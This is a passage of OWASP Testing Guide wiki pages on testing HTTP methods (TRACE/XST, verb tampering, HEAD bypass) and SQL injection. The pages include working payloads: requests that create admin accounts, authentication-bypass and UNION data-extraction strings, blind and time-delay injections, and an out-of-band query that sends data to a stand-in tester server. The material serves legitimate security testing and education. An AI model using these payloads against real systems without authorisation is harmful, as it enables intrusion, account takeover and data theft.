OWASP - User contributions [en]

Test HTTP Methods (OTG-CONFIG-006)

2015-11-04T10:56:50Z

Lvsteche:

{{Template:OWASP Testing Guide v4}}

== Summary ==
HTTP offers a number of methods that can be used to perform actions on the web server. Many of theses methods are designed to aid developers in deploying and testing HTTP applications. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Additionally, Cross Site Tracing (XST), a form of cross site scripting using the server's HTTP TRACE method, is examined. 

While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC 2616 (which describes HTTP version 1.1 which is the standard today) defines the following eight methods:

* HEAD
* GET
* POST
* PUT
* DELETE
* TRACE
* OPTIONS
* CONNECT

Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:

* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim's server as a file repository.
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack.
* CONNECT: This method could allow a client to use the web server as a proxy.
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page).

If an application needs one or more of these methods, such as REST Web Services (which may require PUT or DELETE), it is important to check that their usage is properly limited to trusted users and safe conditions.

=== Arbitrary HTTP Methods ===

Arshan Dabirsiaghi (see links) discovered that many web application frameworks allowed well chosen or arbitrary HTTP methods to bypass an environment level access control check:

* Many frameworks and languages treat "HEAD" as a "GET" request, albeit one without any body in the response. If a security constraint was set on "GET" requests such that only "authenticatedUsers" could access GET requests for a particular servlet or resource, it would be bypassed for the "HEAD" version. This allowed unauthorized blind submission of any privileged GET request.

* Some frameworks allowed arbitrary HTTP methods such as "JEFF" or "CATS" to be used without limitation. These were treated as if a "GET" method was issued, and were found not to be subject to method role based access control checks on a number of languages and frameworks, again allowing unauthorized blind submission of privileged GET requests.

In many cases, code which explicitly checked for a "GET" or "POST" method would be safe.

== How to Test ==

'''Discover the Supported Methods''' 
To perform this test, the tester needs some way to figure out which HTTP methods are supported by the web server that is being examined. The OPTIONS HTTP method provides the tester with the most direct and effective way to do that. RFC 2616 states that, "The OPTIONS method represents a request for information about the communication options available on the request/response chain identified by the Request-URI".

The testing method is extremely straightforward and we only need to fire up netcat (or telnet):
<pre>
$ nc www.victim.com 80
OPTIONS / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0

</pre>

As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section

The same test can also be executed using nmap and the http-methods NSE script:
<pre>
C:\Tools\nmap-6.40>nmap -p 443 --script http-methods localhost

Starting Nmap 6.40 ( http://nmap.org ) at 2015-11-04 11:52 Romance Standard Time

Nmap scan report for localhost (127.0.0.1)
Host is up (0.0094s latency).
PORT STATE SERVICE
443/tcp open https
| http-methods: OPTIONS TRACE GET HEAD POST
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html

Nmap done: 1 IP address (1 host up) scanned in 20.48 seconds
</pre>
 
'''Test XST Potential''' 
Note: in order to understand the logic and the goals of this attack one must be familiar with [[XSS |Cross Site Scripting attacks]].

The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HTTPOnly]] tag that Microsoft introduced in Internet Explorer 6 SP1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he or she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript from accessing it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.

As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), the tester can proceed as shown in the following example:
<pre>
$ nc www.victim.com 80
TRACE / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:01:48 GMT
Connection: close
Content-Type: message/http
Content-Length: 39

TRACE / HTTP/1.1
Host: www.victim.com
</pre>

The response body is exactly a copy of our original request, meaning that the target allows this method. Now, where is the danger lurking? If the tester instructs a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore be echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.

There are multiple ways to make a browser issue a TRACE request, such as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack.

An attacker has two ways to successfully launch a Cross Site Tracing attack:
*Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet that contains the TRACE request in the vulnerable application, as in a normal Cross Site Scripting attack
*Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.

More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman. 

=== Testing for arbitrary HTTP methods ===

Find a page to visit that has a security constraint such that it would normally force a 302 redirect to a log in page or forces a log in directly. The test URL in this example works like this, as do many web applications. However, if a tester obtains a "200" response that is not a log in page, it is possible to bypass authentication and thus authorization.

<pre>
$ nc www.example.com 80
JEFF / HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:38:40 GMT
Server: Apache
Set-Cookie: PHPSESSID=K53QW...
</pre>

If the framework or firewall or application does not support the "JEFF" method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.

If the tester feels that the system is vulnerable to this issue, they should issue CSRF-like attacks to exploit the issue more fully:

* FOOBAR /admin/createUser.php?member=myAdmin
* JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
* CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an administrator.

=== Testing for HEAD access control bypass ===

Find a page to visit that has a security constraint such that it would normally force a 302 redirect to a log in page or forces a log in directly. The test URL in this example works like this, as do many web applications. However, if the tester obtains a "200" response that is not a login page, it is possible to bypass authentication and thus authorization.

<pre>
$ nc www.example.com 80
HEAD /admin HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:44:11 GMT
Server: Apache
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com
Content-Language: EN
Connection: close
Content-Type: text/html; charset=ISO-8859-1
</pre>

If the tester gets a "405 Method not allowed" or "501 Method Unimplemented", the target (application/framework/language/system/firewall) is working correctly. If a "200" response code comes back, and the response contains no body, it's likely that the application has processed the request without authentication or authorization and further testing is warranted.

If the tester thinks that the system is vulnerable to this issue, they should issue CSRF-like attacks to exploit the issue more fully:

* HEAD /admin/createUser.php?member=myAdmin
* HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
* HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an administrator, all using blind request submission.

==Tools==
*NetCat - http://nc110.sourceforge.net
*cURL - http://curl.haxx.se/
*nmap http-methods NSE script - https://nmap.org/nsedoc/scripts/http-methods.html

== References ==
'''Whitepapers''' 
* RFC 2616: "Hypertext Transfer Protocol -- HTTP/1.1"
* RFC 2109 and RFC 2965: "HTTP State Management Mechanism"
* Jeremiah Grossman: "Cross Site Tracing (XST)" - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf 
* Amit Klein: "XS(T) attack variants which can, in some cases, eliminate the need for TRACE" - http://www.securityfocus.com/archive/107/308433
* Arshan Dabirsiaghi: "Bypassing VBAAC with HTTP Verb Tampering" - http://static.swpag.info/download/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf

Testing for SQL Injection (OTG-INPVAL-005)

2015-08-21T07:25:42Z

Lvsteche: Addition of a reference that points to a description of an SQL injections in the Drupal CMS

{{Template:OWASP Testing Guide v4}}

== Summary ==
An [[SQL injection]] attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.

Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

==How to Test==

===Detection Techniques===
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies.

The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

==== Standard SQL Injection Testing ====

Example 1 (classical SQL Injection):

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

Example 2 (simple SELECT statement):

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return some message telling us there is no content available or a blank page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

Example 3 (Stacked queries):

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row and independent of the first query.

==== Fingerprinting the Database ====

Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. Follow are some examples:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

MS SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message, the tester can try to inject into string field using concatenation technique:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

===Exploitation Techniques ===

==== Union Exploitation Technique ====

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

We will set the following $id value:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following query:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--</pre>

If the query fails, the tester will probably see a message like:

<pre>All cells in a column must have the same datatype</pre>

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

==== Boolean Exploitation Technique ====

The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). 

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': returns a substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text, the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.

'''LENGTH (text)''': it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

That creates the following query (from now on, we will call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

Which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

==== Error based Exploitation technique ====

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

==== Out of band Exploitation technique ====

This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

==== Time delay Exploitation technique ====

The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

==== Stored Procedure Injection ====

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters. 

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. 

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

==== Automated Exploitation ====

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

==Tools==
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

== References ==

* [[Top 10 2013-A1-Injection]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:
* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Documentation on SQL injection vulnerabilities in products'''

* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]

Testing for logout functionality (OTG-SESS-006)

